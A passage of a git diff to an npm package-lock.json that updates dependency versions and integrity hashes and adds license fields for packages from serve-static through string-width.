+      "license": "ISC"
     },
     "node_modules/serve-index/node_modules/ms": {
       "version": "2.0.0",
       "resolved": "https://registry.npmjs.org/ms/-/ms-2.0.0.tgz",
-      "integrity": "sha512-Tpp60P6IUJDTuOq/5Z8cdskzJujfwqfOTkrwIwj7IRISpnkJnT6SyJ4PCPnGMoFjC9ddhal5KVIYtAt97ix05A=="
+      "integrity": "sha512-Tpp60P6IUJDTuOq/5Z8cdskzJujfwqfOTkrwIwj7IRISpnkJnT6SyJ4PCPnGMoFjC9ddhal5KVIYtAt97ix05A==",
+      "license": "MIT"
     },
     "node_modules/serve-index/node_modules/setprototypeof": {
       "version": "1.1.0",
       "resolved": "https://registry.npmjs.org/setprototypeof/-/setprototypeof-1.1.0.tgz",
-      "integrity": "sha512-BvE/TwpZX4FXExxOxZyRGQQv651MSwmWKZGqvmPcRIjDqWub67kTKuIMx43cZZrS/cBBzwBcNDWoFxt2XEFIpQ=="
+      "integrity": "sha512-BvE/TwpZX4FXExxOxZyRGQQv651MSwmWKZGqvmPcRIjDqWub67kTKuIMx43cZZrS/cBBzwBcNDWoFxt2XEFIpQ==",
+      "license": "ISC"
     },
     "node_modules/serve-index/node_modules/statuses": {
       "version": "1.5.0",
       "resolved": "https://registry.npmjs.org/statuses/-/statuses-1.5.0.tgz",
       "integrity": "sha512-OpZ3zP+jT1PI7I8nemJX4AKmAX070ZkYPVWV/AaKTJl+tXCTGyVdC1a4SL8RUQYEwk/f34ZX8UTykN68FwrqAA==",
+      "license": "MIT",
       "engines": {
         "node": ">= 0.6"
       }
     },
     "node_modules/serve-static": {
-      "version": "1.15.0",
-      "resolved": "https://registry.npmjs.org/serve-static/-/serve-static-1.15.0.tgz",
-      "integrity": "sha512-XGuRDNjXUijsUL0vl6nSD7cwURuzEgglbOaFuZM9g3kwDXOWVTck0jLzjPzGD+TazWbboZYu52/9/XPdUgne9g==",
+      "version": "1.16.2",
+      "resolved": "https://registry.npmjs.org/serve-static/-/serve-static-1.16.2.tgz",
+      "integrity": "sha512-VqpjJZKadQB/PEbEwvFdO43Ax5dFBZ2UECszz8bQ7pi7wt//PWe1P6MN7eCnjsatYtBT6EuiClbjSWP2WrIoTw==",
+      "license": "MIT",
       "dependencies": {
-        "encodeurl": "~1.0.2",
+        "encodeurl": "~2.0.0",
         "escape-html": "~1.0.3",
         "parseurl": "~1.3.3",
-        "send": "0.18.0"
+        "send": "0.19.0"
       },
       "engines": {
         "node": ">= 0.8.0"
       }
     },
     "node_modules/set-function-length": {
-      "version": "1.2.1",
-      "resolved": "https://registry.npmjs.org/set-function-length/-/set-function-length-1.2.1.tgz",
-      "integrity": "sha512-j4t6ccc+VsKwYHso+kElc5neZpjtq9EnRICFZtWyBsLojhmeF/ZBd/elqm22WJh/BziDe/SBiOeAt0m2mfLD0g==",
+      "version": "1.2.2",
+      "resolved": "https://registry.npmjs.org/set-function-length/-/set-function-length-1.2.2.tgz",
+      "integrity": "sha512-pgRc4hJ4/sNjWCSS9AmnS40x3bNMDTknHgL5UaMBTMyJnU90EgWh1Rz+MC9eFu4BuN/UwZjKQuY/1v3rM7HMfg==",
+      "license": "MIT",
       "dependencies": {
-        "define-data-property": "^1.1.2",
+        "define-data-property": "^1.1.4",
         "es-errors": "^1.3.0",
         "function-bind": "^1.1.2",
-        "get-intrinsic": "^1.2.3",
+        "get-intrinsic": "^1.2.4",
         "gopd": "^1.0.1",
-        "has-property-descriptors": "^1.0.1"
+        "has-property-descriptors": "^1.0.2"
       },
       "engines": {
         "node": ">= 0.4"
       }
     },
     "node_modules/set-function-name": {
-      "version": "2.0.1",
-      "resolved": "https://registry.npmjs.org/set-function-name/-/set-function-name-2.0.1.tgz",
-      "integrity": "sha512-tMNCiqYVkXIZgc2Hnoy2IvC/f8ezc5koaRFkCjrpWzGpCd3qbZXPzVy9MAZzK1ch/X0jvSkojys3oqJN0qCmdA==",
+      "version": "2.0.2",
+      "resolved": "https://registry.npmjs.org/set-function-name/-/set-function-name-2.0.2.tgz",
+      "integrity": "sha512-7PGFlmtwsEADb0WYyvCMa1t+yke6daIG4Wirafur5kcf+MhUnPms1UeR0CKQdTZD81yESwMHbtn+TR+dMviakQ==",
+      "license": "MIT",
       "dependencies": {
-        "define-data-property": "^1.0.1",
+        "define-data-property": "^1.1.4",
+        "es-errors": "^1.3.0",
         "functions-have-names": "^1.2.3",
-        "has-property-descriptors": "^1.0.0"
+        "has-property-descriptors": "^1.0.2"
+      },
+      "engines": {
+        "node": ">= 0.4"
+      }
+    },
+    "node_modules/set-proto": {
+      "version": "1.0.0",
+      "resolved": "https://registry.npmjs.org/set-proto/-/set-proto-1.0.0.tgz",
+      "integrity": "sha512-RJRdvCo6IAnPdsvP/7m6bsQqNnn1FCBX5ZNtFL98MmFF/4xAIJTIg1YbHW5DC2W5SKZanrC6i4HsJqlajw/dZw==",
+      "license": "MIT",
+      "dependencies": {
+        "dunder-proto": "^1.0.1",
+        "es-errors": "^1.3.0",
+        "es-object-atoms": "^1.0.0"
       },
       "engines": {
         "node": ">= 0.4"
@@ -16731,12 +16246,14 @@
     "node_modules/setprototypeof": {
       "version": "1.2.0",
       "resolved": "https://registry.npmjs.org/setprototypeof/-/setprototypeof-1.2.0.tgz",
-      "integrity": "sha512-E5LDX7Wrp85Kil5bhZv46j8jOeboKq5JMmYM3gVGdGH8xFpPWXUMsNrlODCrkoxMEeNi/XZIwuRvY4XNwYMJpw=="
+      "integrity": "sha512-E5LDX7Wrp85Kil5bhZv46j8jOeboKq5JMmYM3gVGdGH8xFpPWXUMsNrlODCrkoxMEeNi/XZIwuRvY4XNwYMJpw==",
+      "license": "ISC"
     },
     "node_modules/shebang-command": {
       "version": "2.0.0",
       "resolved": "https://registry.npmjs.org/shebang-command/-/shebang-command-2.0.0.tgz",
       "integrity": "sha512-kHxr2zZpYtdmrN1qDjrrX/Z1rR1kG8Dx+gkpK1G4eXmvXswmcE1hTWBWYUzlraYw1/yZp6YuDY77YtvbN0dmDA==",
+      "license": "MIT",
       "dependencies": {
         "shebang-regex": "^3.0.0"
       },
@@ -16748,27 +16265,87 @@
       "version": "3.0.0",
       "resolved": "https://registry.npmjs.org/shebang-regex/-/shebang-regex-3.0.0.tgz",
       "integrity": "sha512-7++dFhtcx3353uBaq8DDR4NuxBetBzC7ZQOhmTQInHEd6bSrXdiEyzCvG07Z44UYdLShWUyXt5M/yhz8ekcb1A==",
+      "license": "MIT",
       "engines": {
         "node": ">=8"
       }
     },
     "node_modules/shell-quote": {
-      "version": "1.8.1",
-      "resolved": "https://registry.npmjs.org/shell-quote/-/shell-quote-1.8.1.tgz",
-      "integrity": "sha512-6j1W9l1iAs/4xYBI1SYOVZyFcCis9b4KCLQ8fgAGG07QvzaRLVVRQvAy85yNmmZSjYjg4MWh4gNvlPujU/5LpA==",
+      "version": "1.8.3",
+      "resolved": "https://registry.npmjs.org/shell-quote/-/shell-quote-1.8.3.tgz",
+      "integrity": "sha512-ObmnIF4hXNg1BqhnHmgbDETF8dLPCggZWBjkQfhZpbszZnYur5DUljTcCHii5LC3J5E0yeO/1LIMyH+UvHQgyw==",
+      "license": "MIT",
+      "engines": {
+        "node": ">= 0.4"
+      },
       "funding": {
         "url": "https://github.com/sponsors/ljharb"
       }
     },
     "node_modules/side-channel": {
-      "version": "1.0.5",
-      "resolved": "https://registry.npmjs.org/side-channel/-/side-channel-1.0.5.tgz",
-      "integrity": "sha512-QcgiIWV4WV7qWExbN5llt6frQB/lBven9pqliLXfGPB+K9ZYXxDozp0wLkHS24kWCm+6YXH/f0HhnObZnZOBnQ==",
+      "version": "1.1.0",
+      "resolved": "https://registry.npmjs.org/side-channel/-/side-channel-1.1.0.tgz",
+      "integrity": "sha512-ZX99e6tRweoUXqR+VBrslhda51Nh5MTQwou5tnUDgbtyM0dBgmhEDtWGP/xbKn6hqfPRHujUNwz5fy/wbbhnpw==",
+      "license": "MIT",
       "dependencies": {
-        "call-bind": "^1.0.6",
         "es-errors": "^1.3.0",
-        "get-intrinsic": "^1.2.4",
-        "object-inspect": "^1.13.1"
+        "object-inspect": "^1.13.3",
+        "side-channel-list": "^1.0.0",
+        "side-channel-map": "^1.0.1",
+        "side-channel-weakmap": "^1.0.2"
+      },
+      "engines": {
+        "node": ">= 0.4"
+      },
+      "funding": {
+        "url": "https://github.com/sponsors/ljharb"
+      }
+    },
+    "node_modules/side-channel-list": {
+      "version": "1.0.0",
+      "resolved": "https://registry.npmjs.org/side-channel-list/-/side-channel-list-1.0.0.tgz",
+      "integrity": "sha512-FCLHtRD/gnpCiCHEiJLOwdmFP+wzCmDEkc9y7NsYxeF4u7Btsn1ZuwgwJGxImImHicJArLP4R0yX4c2KCrMrTA==",
+      "license": "MIT",
+      "dependencies": {
+        "es-errors": "^1.3.0",
+        "object-inspect": "^1.13.3"
+      },
+      "engines": {
+        "node": ">= 0.4"
+      },
+      "funding": {
+        "url": "https://github.com/sponsors/ljharb"
+      }
+    },
+    "node_modules/side-channel-map": {
+      "version": "1.0.1",
+      "resolved": "https://registry.npmjs.org/side-channel-map/-/side-channel-map-1.0.1.tgz",
+      "integrity": "sha512-VCjCNfgMsby3tTdo02nbjtM/ewra6jPHmpThenkTYh8pG9ucZ/1P8So4u4FGBek/BjpOVsDCMoLA/iuBKIFXRA==",
+      "license": "MIT",
+      "dependencies": {
+        "call-bound": "^1.0.2",
+        "es-errors": "^1.3.0",
+        "get-intrinsic": "^1.2.5",
+        "object-inspect": "^1.13.3"
+      },
+      "engines": {
+        "node": ">= 0.4"
+      },
+      "funding": {
+        "url": "https://github.com/sponsors/ljharb"
+      }
+    },
+    "node_modules/side-channel-weakmap": {
+      "version": "1.0.2",
+      "resolved": "https://registry.npmjs.org/side-channel-weakmap/-/side-channel-weakmap-1.0.2.tgz",
+      "integrity": "sha512-WPS/HvHQTYnHisLo9McqBHOJk2FkHO/tlpvldyrnem4aeQp4hai3gythswg6p01oSoTl58rcpiFAjF2br2Ak2A==",
+      "license": "MIT",
+      "dependencies": {
+        "call-bound": "^1.0.2",
+        "es-errors": "^1.3.0",
+        "get-intrinsic": "^1.2.5",
+        "object-inspect": "^1.13.3",
+        "side-channel-map": "^1.0.1"
       },
       "engines": {
         "node": ">= 0.4"
@@ -16780,17 +16357,20 @@
     "node_modules/signal-exit": {
       "version": "3.0.7",
       "resolved": "https://registry.npmjs.org/signal-exit/-/signal-exit-3.0.7.tgz",
-      "integrity": "sha512-wnD2ZE+l+SPC/uoS0vXeE9L1+0wuaMqKlfz9AMUo38JsyLSBWSFcHR1Rri62LZc12vLr1gb3jl7iwQhgwpAbGQ=="
+      "integrity": "sha512-wnD2ZE+l+SPC/uoS0vXeE9L1+0wuaMqKlfz9AMUo38JsyLSBWSFcHR1Rri62LZc12vLr1gb3jl7iwQhgwpAbGQ==",
+      "license": "ISC"
     },
     "node_modules/sisteransi": {
       "version": "1.0.5",
       "resolved": "https://registry.npmjs.org/sisteransi/-/sisteransi-1.0.5.tgz",
-      "integrity": "sha512-bLGGlR1QxBcynn2d5YmDX4MGjlZvy2MRBDRNHLJ8VI6l6+9FUiyTFNJ0IveOSP0bcXgVDPRcfGqA0pjaqUpfVg=="
+      "integrity": "sha512-bLGGlR1QxBcynn2d5YmDX4MGjlZvy2MRBDRNHLJ8VI6l6+9FUiyTFNJ0IveOSP0bcXgVDPRcfGqA0pjaqUpfVg==",
+      "license": "MIT"
     },
     "node_modules/slash": {
       "version": "3.0.0",
       "resolved": "https://registry.npmjs.org/slash/-/slash-3.0.0.tgz",
       "integrity": "sha512-g9Q1haeby36OSStwb4ntCGGGaKsaVSjQ68fBxoQcutl5fS1vuY18H3wSt3jFyFtrkx+Kz0V1G85A4MyAdDMi2Q==",
+      "license": "MIT",
       "engines": {
         "node": ">=8"
       }
@@ -16800,6 +16380,7 @@
       "resolved": "https://registry.npmjs.org/slice-ansi/-/slice-ansi-5.0.0.tgz",
       "integrity": "sha512-FC+lgizVPfie0kkhqUScwRu1O/lF6NOgJmlCgK+/LYxDCTk8sGelYaHDhFcDN+Sn3Cv+3VSa4Byeo+IMCzpMgQ==",
       "dev": true,
+      "license": "MIT",
       "dependencies": {
         "ansi-styles": "^6.0.0",
         "is-fullwidth-code-point": "^4.0.0"
@@ -16816,6 +16397,7 @@
       "resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-6.2.1.tgz",
       "integrity": "sha512-bN798gFfQX+viw3R7yrGWRqnrN2oRkEkUjjl4JNn4E8GxxbjtG3FbrEIIY3l8/hrwUwIeCZvi4QuOTP4MErVug==",
       "dev": true,
+      "license": "MIT",
       "engines": {
         "node": ">=12"
       },
@@ -16827,6 +16409,7 @@
       "version": "0.3.24",
       "resolved": "https://registry.npmjs.org/sockjs/-/sockjs-0.3.24.tgz",
       "integrity": "sha512-GJgLTZ7vYb/JtPSSZ10hsOYIvEYsjbNU+zPdIHcUaWVNUEPivzxku31865sSSud0Da0W4lEeOPlmw93zLQchuQ==",
+      "license": "MIT",
       "dependencies": {
         "faye-websocket": "^0.11.3",
         "uuid": "^8.3.2",
@@ -16836,20 +16419,23 @@
     "node_modules/source-list-map": {
       "version": "2.0.1",
       "resolved": "https://registry.npmjs.org/source-list-map/-/source-list-map-2.0.1.tgz",
-      "integrity": "sha512-qnQ7gVMxGNxsiL4lEuJwe/To8UnK7fAnmbGEEH8RpLouuKbeEm0lhbQVFIrNSuB+G7tVrAlVsZgETT5nljf+Iw=="
+      "integrity": "sha512-qnQ7gVMxGNxsiL4lEuJwe/To8UnK7fAnmbGEEH8RpLouuKbeEm0lhbQVFIrNSuB+G7tVrAlVsZgETT5nljf+Iw==",
+      "license": "MIT"
     },
     "node_modules/source-map": {
       "version": "0.7.4",
       "resolved": "https://registry.npmjs.org/source-map/-/source-map-0.7.4.tgz",
       "integrity": "sha512-l3BikUxvPOcn5E74dZiq5BGsTb5yEwhaTSzccU6t4sDOH8NWJCstKO5QT2CvtFoK6F0saL7p9xHAqHOlCPJygA==",
+      "license": "BSD-3-Clause",
       "engines": {
         "node": ">= 8"
       }
     },
     "node_modules/source-map-js": {
-      "version": "1.0.2",
-      "resolved": "https://registry.npmjs.org/source-map-js/-/source-map-js-1.0.2.tgz",
-      "integrity": "sha512-R0XvVJ9WusLiqTCEiGCmICCMplcCkIwwR11mOSD9CR5u+IXYdiseeEuXCVAjS54zqwkLcPNnmU4OeJ6tUrWhDw==",
+      "version": "1.2.1",
+      "resolved": "https://registry.npmjs.org/source-map-js/-/source-map-js-1.2.1.tgz",
+      "integrity": "sha512-UXWMKhLOwVKb728IUtQPXxfYU+usdybtUrK/8uGE8CQMvrhOpwvzDBwj0QhSL7MQc7vIsISBG8VQ8+IDQxpfQA==",
+      "license": "BSD-3-Clause",
       "engines": {
         "node": ">=0.10.0"
       }
@@ -16858,6 +16444,7 @@
       "version": "3.0.2",
       "resolved": "https://registry.npmjs.org/source-map-loader/-/source-map-loader-3.0.2.tgz",
       "integrity": "sha512-BokxPoLjyl3iOrgkWaakaxqnelAJSS+0V+De0kKIq6lyWrXuiPgYTGp6z3iHmqljKAaLXwZa+ctD8GccRJeVvg==",
+      "license": "MIT",
       "dependencies": {
         "abab": "^2.0.5",
         "iconv-lite": "^0.6.3",
@@ -16878,6 +16465,7 @@
       "version": "0.5.21",
       "resolved": "https://registry.npmjs.org/source-map-support/-/source-map-support-0.5.21.tgz",
       "integrity": "sha512-uBHU3L3czsIyYXKX88fdrGovxdSCoTGDRZ6SYXtSRxLZUzHg5P/66Ht6uoUlHu9EZod+inXhKo3qQgwXUT/y1w==",
+      "license": "MIT",
       "dependencies": {
         "buffer-from": "^1.0.0",
         "source-map": "^0.6.0"
@@ -16887,6 +16475,7 @@
       "version": "0.6.1",
       "resolved": "https://registry.npmjs.org/source-map/-/source-map-0.6.1.tgz",
       "integrity": "sha512-UjgapumWlbMhkBgzT7Ykc5YXUT46F0iKu8SGXq0bcwP5dz/h0Plj6enJqjz1Zbq2l5WaqYnrVbwWOWMyF3F47g==",
+      "license": "BSD-3-Clause",
       "engines": {
         "node": ">=0.10.0"
       }
@@ -16895,12 +16484,14 @@
       "version": "1.4.8",
       "resolved": "https://registry.npmjs.org/sourcemap-codec/-/sourcemap-codec-1.4.8.tgz",
       "integrity": "sha512-9NykojV5Uih4lgo5So5dtw+f0JgJX30KCNI8gwhz2J9A15wD0Ml6tjHKwf6fTSa6fAdVBdZeNOs9eJ71qCk8vA==",
-      "deprecated": "Please use @jridgewell/sourcemap-codec instead"
+      "deprecated": "Please use @jridgewell/sourcemap-codec instead",
+      "license": "MIT"
     },
     "node_modules/spdy": {
       "version": "4.0.2",
       "resolved": "https://registry.npmjs.org/spdy/-/spdy-4.0.2.tgz",
       "integrity": "sha512-r46gZQZQV+Kl9oItvl1JZZqJKGr+oEkB08A6BzkiR7593/7IbtuncXHd2YoYeTsG4157ZssMu9KYvUHLcjcDoA==",
+      "license": "MIT",
       "dependencies": {
         "debug": "^4.1.0",
         "handle-thing": "^2.0.0",
@@ -16916,6 +16507,7 @@
       "version": "3.0.0",
       "resolved": "https://registry.npmjs.org/spdy-transport/-/spdy-transport-3.0.0.tgz",
       "integrity": "sha512-hsLVFE5SjA6TCisWeJXFKniGGOpBgMLmerfO2aCyCU5s7nJ/rpAepqmFifv/GCbSbueEeAJJnmSQ2rKC/g8Fcw==",
+      "license": "MIT",
       "dependencies": {
         "debug": "^4.1.0",
         "detect-node": "^2.0.4",
@@ -16928,18 +16520,21 @@
     "node_modules/sprintf-js": {
       "version": "1.0.3",
       "resolved": "https://registry.npmjs.org/sprintf-js/-/sprintf-js-1.0.3.tgz",
-      "integrity": "sha512-D9cPgkvLlV3t3IzL0D0YLvGA9Ahk4PcvVwUbN0dSGr1aP0Nrt4AEnTUbuGvquEC0mA64Gqt1fzirlRs5ibXx8g=="
+      "integrity": "sha512-D9cPgkvLlV3t3IzL0D0YLvGA9Ahk4PcvVwUbN0dSGr1aP0Nrt4AEnTUbuGvquEC0mA64Gqt1fzirlRs5ibXx8g==",
+      "license": "BSD-3-Clause"
     },
     "node_modules/stable": {
       "version": "0.1.8",
       "resolved": "https://registry.npmjs.org/stable/-/stable-0.1.8.tgz",
       "integrity": "sha512-ji9qxRnOVfcuLDySj9qzhGSEFVobyt1kIOSkj1qZzYLzq7Tos/oUUWvotUPQLlrsidqsK6tBH89Bc9kL5zHA6w==",
-      "deprecated": "Modern JS already guarantees Array#sort() is a stable sort, so this library is deprecated. See the compatibility table on MDN: https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Array/sort#browser_compatibility"
+      "deprecated": "Modern JS already guarantees Array#sort() is a stable sort, so this library is deprecated. See the compatibility table on MDN: https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Array/sort#browser_compatibility",
+      "license": "MIT"
     },
     "node_modules/stack-utils": {
       "version": "2.0.6",
       "resolved": "https://registry.npmjs.org/stack-utils/-/stack-utils-2.0.6.tgz",
       "integrity": "sha512-XlkWvfIm6RmsWtNJx+uqtKLS8eqFbxUg0ZzLXqY0caEy9l7hruX8IpiDnjsLavoBgqCCR71TqWO8MaXYheJ3RQ==",
+      "license": "MIT",
       "dependencies": {
         "escape-string-regexp": "^2.0.0"
       },
@@ -16951,6 +16546,7 @@
       "version": "2.0.0",
       "resolved": "https://registry.npmjs.org/escape-string-regexp/-/escape-string-regexp-2.0.0.tgz",
       "integrity": "sha512-UpzcLCXolUWcNu5HtVMHYdXJjArjsF9C0aNnquZYY4uW/Vu0miy5YoWvbV345HauVvcAUnpRuhMMcqTcGOY2+w==",
+      "license": "MIT",
       "engines": {
         "node": ">=8"
       }
@@ -16958,12 +16554,14 @@
     "node_modules/stackframe": {
       "version": "1.3.4",
       "resolved": "https://registry.npmjs.org/stackframe/-/stackframe-1.3.4.tgz",
-      "integrity": "sha512-oeVtt7eWQS+Na6F//S4kJ2K2VbRlS9D43mAlMyVpVWovy9o+jfgH8O9agzANzaiLjclA0oYzUXEM4PurhSUChw=="
+      "integrity": "sha512-oeVtt7eWQS+Na6F//S4kJ2K2VbRlS9D43mAlMyVpVWovy9o+jfgH8O9agzANzaiLjclA0oYzUXEM4PurhSUChw==",
+      "license": "MIT"
     },
     "node_modules/static-eval": {
       "version": "2.0.2",
       "resolved": "https://registry.npmjs.org/static-eval/-/static-eval-2.0.2.tgz",
       "integrity": "sha512-N/D219Hcr2bPjLxPiV+TQE++Tsmrady7TqAJugLy7Xk1EumfDWS/f5dtBbkRCGE7wKKXuYockQoj8Rm2/pVKyg==",
+      "license": "MIT",
       "dependencies": {
         "escodegen": "^1.8.1"
       }
@@ -16972,6 +16570,7 @@
       "version": "1.14.3",
       "resolved": "https://registry.npmjs.org/escodegen/-/escodegen-1.14.3.tgz",
       "integrity": "sha512-qFcX0XJkdg+PB3xjZZG/wKSuT1PnQWx57+TVSjIMmILd2yC/6ByYElPwJnslDsuWuSAp4AwJGumarAAmJch5Kw==",
+      "license": "BSD-2-Clause",
       "dependencies": {
         "esprima": "^4.0.1",
         "estraverse": "^4.2.0",
@@ -16993,6 +16592,7 @@
       "version": "4.3.0",
       "resolved": "https://registry.npmjs.org/estraverse/-/estraverse-4.3.0.tgz",
       "integrity": "sha512-39nnKffWz8xN1BU/2c79n9nB9HDzo0niYUqx6xyqUnyoAnQyyWpOTdZEeiCch8BBu515t4wp9ZmgVfVhn9EBpw==",
+      "license": "BSD-2-Clause",
       "engines": {
         "node": ">=4.0"
       }
@@ -17001,6 +16601,7 @@
       "version": "0.3.0",
       "resolved": "https://registry.npmjs.org/levn/-/levn-0.3.0.tgz",
       "integrity": "sha512-0OO4y2iOHix2W6ujICbKIaEQXvFQHue65vUG3pb5EUomzPI90z9hsA1VsO/dbIIpC53J8gxM9Q4Oho0jrCM/yA==",
+      "license": "MIT",
       "dependencies": {
         "prelude-ls": "~1.1.2",
         "type-check": "~0.3.2"
@@ -17013,6 +16614,7 @@
       "version": "0.8.3",
       "resolved": "https://registry.npmjs.org/optionator/-/optionator-0.8.3.tgz",
       "integrity": "sha512-+IW9pACdk3XWmmTXG8m3upGUJst5XRGzxMRjXzAuJ1XnIFNvfhjjIuYkDvysnPQ7qzqVzLt78BCruntqRhWQbA==",
+      "license": "MIT",
       "dependencies": {
         "deep-is": "~0.1.3",
         "fast-levenshtein": "~2.0.6",
@@ -17037,6 +16639,7 @@
       "version": "0.6.1",
       "resolved": "https://registry.npmjs.org/source-map/-/source-map-0.6.1.tgz",
       "integrity": "sha512-UjgapumWlbMhkBgzT7Ykc5YXUT46F0iKu8SGXq0bcwP5dz/h0Plj6enJqjz1Zbq2l5WaqYnrVbwWOWMyF3F47g==",
+      "license": "BSD-3-Clause",
       "optional": true,
       "engines": {
         "node": ">=0.10.0"
@@ -17046,6 +16649,7 @@
       "version": "0.3.2",
       "resolved": "https://registry.npmjs.org/type-check/-/type-check-0.3.2.tgz",
       "integrity": "sha512-ZCmOJdvOWDBYJlzAoFkC+Q0+bUyEOS1ltgp1MGU03fqHG+dbi9tBFU2Rd9QKiDZFAYrhPh2JUf7rZRIuHRKtOg==",
+      "license": "MIT",
       "dependencies": {
         "prelude-ls": "~1.1.2"
       },
@@ -17057,17 +16661,19 @@
       "version": "2.0.1",
       "resolved": "https://registry.npmjs.org/statuses/-/statuses-2.0.1.tgz",
       "integrity": "sha512-RwNA9Z/7PrK06rYLIzFMlaF+l73iwpzsqRIFgbMLbTcLD6cOao82TaWefPXQvB2fOC4AjuYSEndS7N/mTCbkdQ==",
+      "license": "MIT",
       "engines": {
         "node": ">= 0.8"
       }
     },
     "node_modules/stop-iteration-iterator": {
-      "version": "1.0.0",
-      "resolved": "https://registry.npmjs.org/stop-iteration-iterator/-/stop-iteration-iterator-1.0.0.tgz",
-      "integrity": "sha512-iCGQj+0l0HOdZ2AEeBADlsRC+vsnDsZsbdSiH1yNSjcfKM7fdpCMfqAL/dwF5BLiw/XhRft/Wax6zQbhq2BcjQ==",
-      "dev": true,
+      "version": "1.1.0",
+      "resolved": "https://registry.npmjs.org/stop-iteration-iterator/-/stop-iteration-iterator-1.1.0.tgz",
+      "integrity": "sha512-eLoXW/DHyl62zxY4SCaIgnRhuMr6ri4juEYARS8E6sCEqzKpOiE521Ucofdx+KnDZl5xmvGYaaKCk5FEOxJCoQ==",
+      "license": "MIT",
       "dependencies": {
-        "internal-slot": "^1.0.4"
+        "es-errors": "^1.3.0",
+        "internal-slot": "^1.1.0"
       },
       "engines": {
         "node": ">= 0.4"
@@ -17077,6 +16683,7 @@
       "version": "1.3.0",
       "resolved": "https://registry.npmjs.org/string_decoder/-/string_decoder-1.3.0.tgz",
       "integrity": "sha512-hkRX8U1WjJFd8LsDJ2yQ/wWWxaopEsABU1XfkM8A+j0+85JAGppt16cr1Whg6KIbb4okU6Mql6BOj+uup/wKeA==",
+      "license": "MIT",
       "dependencies": {
         "safe-buffer": "~5.2.0"
       }
@@ -17086,6 +16693,7 @@
       "resolved": "https://registry.npmjs.org/string-argv/-/string-argv-0.3.2.tgz",
       "integrity": "sha512-aqD2Q0144Z+/RqG52NeHEkZauTAUWJO8c6yTftGJKO3Tja5tUgIfmIl6kExvhtxSDP7fXB6DvzkfMpCd/F3G+Q==",
       "dev": true,
+      "license": "MIT",
       "engines": {
         "node": ">=0.6.19"
       }
@@ -17094,6 +16702,7 @@
       "version": "4.0.2",
       "resolved": "https://registry.npmjs.org/string-length/-/string-length-4.0.2.tgz",
       "integrity": "sha512-+l6rNN5fYHNhZZy41RXsYptCjA2Igmq4EG7kZAYFQI1E1VTXarr6ZPXBg6eq7Y6eK4FEhY6AJlyuFIb/v/S0VQ==",
+      "license": "MIT",
       "dependencies": {
         "char-regex": "^1.0.2",
         "strip-ansi": "^6.0.0"
@@ -17105,12 +16714,14 @@
     "node_modules/string-natural-compare": {
       "version": "3.0.1",
       "resolved": "https://registry.npmjs.org/string-natural-compare/-/string-natural-compare-3.0.1.tgz",
-      "integrity": "sha512-n3sPwynL1nwKi3WJ6AIsClwBMa0zTi54fn2oLU6ndfTSIO05xaznjSf15PcBZU6FNWbmN5Q6cxT4V5hGvB4taw=="
+      "integrity": "sha512-n3sPwynL1nwKi3WJ6AIsClwBMa0zTi54fn2oLU6ndfTSIO05xaznjSf15PcBZU6FNWbmN5Q6cxT4V5hGvB4taw==",
+      "license": "MIT"
     },
     "node_modules/string-width": {
       "version": "5.1.2",
       "resolved": "https://registry.npmjs.org/string-width/-/string-width-5.1.2.tgz",
       "integrity": "sha512-HnLOCR3vjcY8beoNLtcjZ5/nxn2afmME6lhrDrebokqMap+XbeW8n9TXpPDOqdGK5qcI3oT0GKTW6wC7EMiVqA==",
+      "license": "MIT",
       "dependencies": {
         "eastasianwidth": "^0.2.0",
         "emoji-regex": "^9.2.2",
@@ -17128,6 +16739,7 @@
       "version": "4.2.3",
       "resolved": "https://registry.npmjs.org/string-width/-/string-width-4.2.3.tgz",
       "integrity": "sha512-wKyQRQpjJ0sIp62ErSZdGsjMJWsap5oRNihHhu6G7JVO/9jIB6UyevL+tXuOqrng8j/cxKTWyWUwvSTriiZz/g==",
+      "license": "MIT",
       "dependencies": {
         "emoji-regex": "^8.0.0",
         "is-fullwidth-code-point": "^3.0.0",
@@ -17140,20 +16752,23 @@
     "node_modules/string-width-cjs/node_modules/emoji-regex": {
       "version": "8.0.0",
       "resolved": "https://registry.npmjs.org/emoji-regex/-/emoji-regex-8.0.0.tgz",
-      "integrity": "sha512-MSjYzcWNOA0ewAHpz0MxpYFvwg6yjy1NG3xteoqz644VCo/RPgnr1/GGt+ic3iJTzQ8Eu3TdM14SawnVUmGE6A=="
+      "integrity": "sha512-MSjYzcWNOA0ewAHpz0MxpYFvwg6yjy1NG3xteoqz644VCo/RPgnr1/GGt+ic3iJTzQ8Eu3TdM14SawnVUmGE6A==",
+      "license": "MIT"
     },
     "node_modules/string-width-cjs/node_modules/is-fullwidth-code-point": {
       "version": "3.0.0",
       "resolved": "https://registry.npmjs.org/is-fullwidth-code-point/-/is-fullwidth-code-point-3.0.0.tgz",
       "integrity": "sha512-zymm5+u+sCsSWyD9qNaejV3DFvhCKclKdizYaJUuHA83RLjb7nSuGnddCHGv0hk+KY7BMAlsWeK4Ueg6EV6XQg==",
+      "license": "MIT",
       "engines": {
         "node": ">=8"
       }
     },
     "node_modules/string-width/node_modules/ansi-regex": {
-      "version": "6.0.1",
-      "resolved": "https://registry.npmjs.org/ansi-regex/-/ansi-regex-6.0.1.tgz",
-      "integrity": "sha512-n5M855fKb2SsfMIiFFoVrABHJC8QtHwVx+mHWP3QcEqBHYienj5dHSgjbxtC0WEZXYt4wcD6zrQElDPhFuZgfA==",
+      "version": "6.1.0",
+      "resolved": "https://registry.npmjs.org/ansi-regex/-/ansi-regex-6.1.0.tgz",
+      "integrity": "sha512-7HSX4QQb4CspciLpVFwyRe79O3xsIZDDLER21kERQ71oaPodF8jL725AgJMFAYbooIqolJoRLuM81SpeUkpkvA==",
+      "license": "MIT",
       "engines": {
         "node": ">=12"
       },
@@ -17165,6 +16780,7 @@
       "version": "7.1.0",
       "resolved": "https://registry.npmjs.org/strip-ansi/-/strip-ansi-7.1.0.tgz",
       "integrity": "sha512-iq6eVVI64nQQTRYq2KtEg2d2uU7LElhTJwsH4YzIHZshxlgZms/wIc4VoDQTlG/IvVIrBKG06CrZnp0qv7hkcQ==",
+      "license": "MIT",
       "dependencies": {
         "ansi-regex": "^6.0.1"
       },
@@ -17175,33 +16791,70 @@
         "url": "https://github.com/chalk/strip-ansi?sponsor=1"
       }
     },
-    "node_modules/string.prototype.matchall": {
-      "version": "4.0.10",
-      "resolved": "https://registry.npmjs.org/string.prototype.matchall/-/string.prototype.matchall-4.0.10.tgz",
